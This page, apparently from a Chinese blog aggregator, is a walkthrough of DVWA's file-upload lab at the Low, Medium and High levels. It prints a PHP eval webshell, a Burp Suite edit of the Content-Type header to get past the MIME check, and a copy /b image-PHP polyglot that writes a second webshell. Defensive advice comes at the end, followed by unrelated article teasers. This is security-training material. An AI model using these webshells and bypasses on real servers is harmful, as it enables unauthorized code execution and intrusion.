当前位置: 首页 > article >正文

DVWA文件上传漏洞通关实录:从Low到High,手把手教你三种绕过姿势(附Burp Suite实战)

DVWA文件上传漏洞实战指南从基础绕过到高级技巧在Web安全领域文件上传漏洞一直是最常见也最具破坏力的漏洞类型之一。DVWADamn Vulnerable Web Application作为经典的漏洞练习平台其文件上传模块设置了从低到高三个不同安全级别的防御机制为我们提供了绝佳的学习样本。本文将带你深入理解文件上传漏洞的本质并手把手演示如何逐步突破这些安全限制。1. 文件上传漏洞基础与Low级别突破文件上传漏洞之所以危险在于攻击者可以直接将恶意代码上传到服务器执行。在DVWA的Low级别中开发者完全没有设置任何防护措施这让我们能够直观地理解最原始的文件上传漏洞利用方式。1.1 漏洞代码分析Low级别的后端处理代码如下$target_path DVWA_WEB_PAGE_TO_ROOT.hackable/uploads/; $target_path $target_path . basename($_FILES[uploaded][name]); if(!move_uploaded_file($_FILES[uploaded][tmp_name], $target_path)) { echo preYour image was not uploaded./pre; } else { echo pre. $target_path . succesfully uploaded!/pre; }这段代码存在几个关键问题没有检查文件类型没有验证文件内容直接使用用户提供的文件名将文件存储在可执行目录1.2 实战利用步骤准备一个简单的PHP webshell?php eval($_POST[cmd]); ?在DVWA的文件上传页面直接选择这个PHP文件上传上传成功后可以通过以下方式验证访问上传的PHP文件URL使用中国蚁剑等工具连接webshell关键技巧确保上传目录有执行权限如果无法直接访问尝试结合目录遍历漏洞使用简单的webshell代码更容易绕过基础防护2. Medium级别的MIME类型绕过Medium级别引入了基本的文件类型检查主要增加了以下防护代码if (($uploaded_type image/jpeg) ($uploaded_size 100000)) { // 允许上传 }2.1 绕过思路分析这种防护存在两个主要问题仅检查客户端提供的MIME类型而非实际文件内容文件大小限制过于宽松我们可以通过修改HTTP请求中的Content-Type头部来绕过这种检查。2.2 Burp Suite实战操作配置浏览器代理指向Burp Suite默认127.0.0.1:8080在Burp Suite中开启拦截功能Proxy → Intercept → Intercept is on上传PHP文件时Burp会拦截到类似如下的请求POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: application/octet-stream将Content-Type: application/octet-stream修改为Content-Type: image/jpeg转发请求后文件将被成功上传常见问题排查确保Burp证书已安装并受信任检查拦截功能是否开启确认修改的是文件部分的Content-Type而非整个请求的3. High级别的文件合并技巧High级别采用了更严格的防护措施检查文件扩展名$uploaded_ext substr($uploaded_name, strrpos($uploaded_name, .) 1); if (($uploaded_ext jpg || $uploaded_ext JPG || $uploaded_ext jpeg || $uploaded_ext JPEG) ($uploaded_size 100000)) { // 允许上传 }3.1 文件合并技术原理这种防护可以通过文件合并技术绕过准备一个正常的JPG图片创建一个特殊的PHP文件将两者合并为一个新的文件合并后的文件既是有效的图片又包含可执行的PHP代码。3.2 具体实现步骤准备一个简单的图片文件如test.jpg创建特殊构造的PHP文件shell.php?php file_put_contents(shell_final.php, ?php eval($_POST[cmd]); ?); ?在Windows中使用命令提示符执行合并copy /b test.jpg shell.php final.jpg上传合并后的final.jpg文件访问这个图片文件时它会在服务器上生成一个可执行的PHP文件高级技巧使用Exif工具将PHP代码写入图片的元数据尝试GIF89a头部注入结合文件包含漏洞实现代码执行4. 防御措施与安全建议了解了攻击方法后我们更应该知道如何正确防御文件上传漏洞。4.1 有效的防护策略防护措施实现方式有效性文件扩展名检查白名单机制★★★★☆文件内容检测使用getimagesize()等函数★★★★☆文件重命名随机生成存储文件名★★★☆☆隔离存储上传目录禁用脚本执行★★★★★病毒扫描集成杀毒软件API★★★☆☆4.2 安全开发建议永远使用白名单而非黑名单只允许已知安全的文件类型不要试图过滤危险扩展名验证文件内容而不仅依赖扩展名$imageinfo getimagesize($_FILES[uploaded][tmp_name]); if($imageinfo[mime] ! image/jpeg) { die(只允许JPEG图片); }安全存储上传文件存储在Web根目录之外设置正确的文件权限禁用上传目录的脚本执行日志与监控记录所有上传操作监控可疑的上传行为在实际开发中应该组合使用多种防护措施形成纵深防御体系。文件上传功能看似简单但要实现安全可靠却需要开发者具备充分的安全意识和技术能力。

相关文章:

DVWA文件上传漏洞通关实录:从Low到High,手把手教你三种绕过姿势(附Burp Suite实战)

DVWA文件上传漏洞实战指南:从基础绕过到高级技巧 在Web安全领域,文件上传漏洞一直是最常见也最具破坏力的漏洞类型之一。DVWA(Damn Vulnerable Web Application)作为经典的漏洞练习平台,其文件上传模块设置了从低到高三…...

创新实训个人工作-初步搭建(二)

一、思考在完成 AI 问答页的基础搭建后,我开始思考:如果这个页面真的面向用户使用,它应该像什么?我觉得他的回答必须要更加专业,可以在生活中可以真实可用。所以后续打磨,我主要围绕两条线展开:…...

glogg终极指南:如何通过智能架构设计实现高性能日志分析

glogg终极指南:如何通过智能架构设计实现高性能日志分析 【免费下载链接】glogg A fast, advanced log explorer. 项目地址: https://gitcode.com/gh_mirrors/gl/glogg glogg是一款专为开发者和系统管理员设计的跨平台日志查看器,它巧妙地将grep的…...

LS-WVL系统安装全攻略:从修复模式到中文配置一步到位

LS-WVL系统安装全攻略:从修复模式到中文配置一步到位 当你第一次拿到LS-WVL这台NAS设备时,可能会被它略显复杂的安装流程难住。别担心,这篇指南将带你从零开始,一步步完成从系统安装到中文配置的全过程。不同于市面上那些泛泛而谈…...

Janus-Pro-7B部署案例:NVIDIA T4显卡上稳定运行的7B多模态方案

Janus-Pro-7B部署案例:NVIDIA T4显卡上稳定运行的7B多模态方案 1. 多模态AI的新选择:Janus-Pro-7B 在AI技术快速发展的今天,多模态模型正成为新的热点。传统的AI模型往往只能处理单一类型的数据,要么是文字,要么是图…...

告别Office!8个理由让你立即尝试这款在线PPT制作工具

告别Office!8个理由让你立即尝试这款在线PPT制作工具 【免费下载链接】PPTist PowerPoint-ist(/pauəpɔintist/), An online presentation application that replicates most of the commonly used features of MS PowerPoint, allowing for…...

【CISCN 2024 AWDP】从源码泄露到WAF绕过:实战剖析三道典型Web赛题解题思路

1. 源码泄露审计:从www.zip到逻辑漏洞挖掘 在CTF比赛中,源码泄露往往是最容易被忽视却最具破坏力的漏洞之一。去年参加CISCN时,我就遇到一道名为"粗心的程序员"的题目,典型源码泄露案例让我记忆犹新。题目页面看似普通&…...

AIDE 实战指南:从安装到入侵检测的完整流程

1. AIDE入门:为什么你需要文件完整性监控 第一次听说AIDE这个工具时,我正经历着职业生涯中最尴尬的安全事故。某天凌晨,服务器突然开始疯狂发送垃圾邮件,排查了半天才发现是某个关键系统文件被悄悄篡改了。这件事让我意识到&#…...

千帆竞发:126颗卫星升空背后的全球卫星互联网竞速

2026年4月7日21时32分,长征八号运载火箭在海南商业航天发射场拔地而起,以“一箭十八星”的方式将千帆星座第七批18颗组网卫星送入预定轨道。发射取得圆满成功。此次发射后,千帆星座在轨卫星总数达到126颗,标志着我国自主可控的低轨…...

Switch第三方控制器终极指南:用sys-con解锁全平台手柄支持 [特殊字符]

Switch第三方控制器终极指南:用sys-con解锁全平台手柄支持 🎮 【免费下载链接】sys-con Nintendo Switch sysmodule that allows support for third-party controllers 项目地址: https://gitcode.com/gh_mirrors/sy/sys-con 还在为Switch官方手柄…...

5分钟让Windows 11焕然一新:极速系统加速与性能优化终极指南

5分钟让Windows 11焕然一新:极速系统加速与性能优化终极指南 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter …...

5步掌握D3KeyHelper:暗黑3自动化技能助手完全指南

5步掌握D3KeyHelper:暗黑3自动化技能助手完全指南 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面,可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 你是否曾在暗黑3的刷图过程中感到手指酸…...

Fluent计算总发散?别急着重画网格,先检查这5个隐藏设置(附诊断命令)

Fluent计算总发散?别急着重画网格,先检查这5个隐藏设置(附诊断命令) 凌晨三点,屏幕上的残差曲线突然像过山车一样飙升,你盯着"floating point exception"的报错提示,咖啡杯悬在半空—…...

数据库知识复习03

第三部分 MySQL DQL 数据查询语言1 数据库的 DQL(数据查询语言)DQL(Data Query Language,数据查询语言)是 SQL 中最核心、使用频率最高的语言类型,核心关键字为 SELECT,用于从数据库表中精准检索…...

35个专业级Adobe Illustrator脚本:彻底自动化你的设计工作流

35个专业级Adobe Illustrator脚本:彻底自动化你的设计工作流 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts 还在为Illustrator中重复性的手动操作消耗大量时间而烦恼吗…...

NOKOV动捕SDK实战:5分钟搞定数据广播与跨设备开发(含避坑指南)

NOKOV动捕SDK实战:5分钟搞定数据广播与跨设备开发(含避坑指南) 在动作捕捉技术日益普及的今天,NOKOV作为国内领先的动捕解决方案提供商,其SDK的灵活性和高效性备受开发者青睐。本文将带您快速掌握NOKOV动捕SDK的核心使…...

AidLux远程SSH连接实战 | 密钥与密码双模式详解

1. AidLux远程SSH连接入门指南 第一次接触AidLux的开发者可能会对远程连接感到困惑。其实这就像给手机开热点共享网络一样简单,只不过我们共享的是Linux系统的控制权。AidLux作为基于ARM架构的Linux系统,提供了完整的SSH服务支持,让开发者能够…...

把用户主数据放到该放的位置,聊透 SAP NetWeaver AS ABAP 里的 User Data Synchronization

在很多 SAP 项目里,用户主数据这一块最容易被低估。开发顾着接口,功能顾着流程,Basis 顾着系统连通,真正到了上线前夕,大家才发现一个很现实的问题,同一个员工在多个 ABAP 系统、企业目录、甚至底层数据库里,账号到底谁来建,密码谁来发,锁定状态谁来同步,姓名、部门、…...

Spring Data 2026 新特性深度解析:数据访问的新高度

Spring Data 2026 新特性深度解析:数据访问的新高度别叫我大神,叫我 Alex 就好。今天我们来聊聊 Spring Data 2026 的新特性,这个版本带来了许多令人兴奋的功能,让数据访问变得更加简单和高效。一、Spring Data 2026 概述 Spring …...

在 RAP Action 里接入 BAPI 业务逻辑,让物料分类分配既稳、又能回到事务边界里

在 SAP S/4HANA 的真实项目里,RAP 和经典 BAPI 并存,几乎是绕不开的状态。界面层已经是 Fiori Elements,服务层走的是 OData V4,行为实现放在 behavior pool 里,可真正落库的那段业务逻辑,很多时候仍然压在老牌 BAPI 身上。物料分类分配就是一个很典型的例子,前台看起来…...

别再用LangChain搭生产系统了!2026 AI原生研发栈迁移窗口期仅剩137天——新一代轻量Agent Runtime选型白皮书

第一章:LangChain在生产环境中的结构性缺陷与技术债全景图 2026奇点智能技术大会(https://ml-summit.org) LangChain自发布以来以“快速原型构建”见长,但其核心抽象层——Chain、Agent、Tool、Memory——在高并发、低延迟、可观测性与模块契约一致性等…...

百度网盘Mac版终极加速方案:解锁SVIP特权实现极速下载

百度网盘Mac版终极加速方案:解锁SVIP特权实现极速下载 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘Mac版的龟速下载而烦恼…...

国产信创库fio破坏主备库以及备份故障处理--惜分飞傧

一、各自优势和对比 这是检索出来的数据,据说是根据第三方评测与企业数据,三款产品在代码生成质量上各有侧重: 产品 语言优势 场景亮点 核心差异 百度 Comate C核心代码质量第一;Python首生成率达92.3% SQL生成准确率提升35%&…...

LeetCode 删除无效的括号:python 题解诜

这个代码的核心功能是:基于输入词的长度动态选择反义词示例,并调用大模型生成反义词,体现了 “动态少样本提示(Dynamic Few-Shot Prompting)” 与 “上下文长度感知的示例选择” 的能力。 from langchain.prompts impo…...

如何快速解决Windows热键冲突:Hotkey Detective终极使用指南

如何快速解决Windows热键冲突:Hotkey Detective终极使用指南 【免费下载链接】hotkey-detective A small program for investigating stolen key combinations under Windows 7 and later. 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 你…...

让旧iPhone重获新生:Legacy-iOS-Kit降级越狱全功能解析

让旧iPhone重获新生:Legacy-iOS-Kit降级越狱全功能解析 【免费下载链接】Legacy-iOS-Kit An all-in-one tool to restore/downgrade, save SHSH blobs, jailbreak legacy iOS devices, and more 项目地址: https://gitcode.com/gh_mirrors/le/Legacy-iOS-Kit …...

WordPress AI评论插件V1.3:智能互动与自动化管理实战指南

1. WordPress AI评论插件V1.3的核心价值 如果你运营着一个WordPress网站,可能经常为评论区冷清而头疼。手动维护互动耗时耗力,而垃圾评论又让人防不胜防。这正是AI评论插件V1.3要解决的问题——我用这个插件三个月,网站互动量提升了217%&…...

【华为云】JupyterLab中高效解压文件夹的完整指南

1. 华为云ModelArts环境准备 在开始解压操作之前,我们需要先准备好华为云ModelArts的开发环境。这里我分享下自己常用的配置流程,帮你避开一些新手容易踩的坑。 首先登录华为云官网,在控制台搜索栏输入"ModelArts"就能快速找到服务…...

Three.js郭隆邦系统教程|高清视频+源码+实战项目+WebGL底层精讲

温馨提示:文末有联系方式课程全面升级:高清教学视频与配套源代码同步 本课程提供全高清录制的教学视频,画面清晰、讲解细致,配合每节课完整可运行的源代码包,支持一键导入、即学即练,大幅提升学习效率与实操…...

MCP23017 I²C GPIO扩展器驱动库设计与工程实践

1. 项目概述MCP23017_I2C 是一个面向嵌入式系统的轻量级、可移植 IC GPIO 扩展器驱动库,专为 Microchip MCP23017(及其兼容型号 MCP23S17 的 IC 模式)设计。该库的核心目标并非仅实现单一芯片的寄存器读写,而是构建一个抽象层完备…...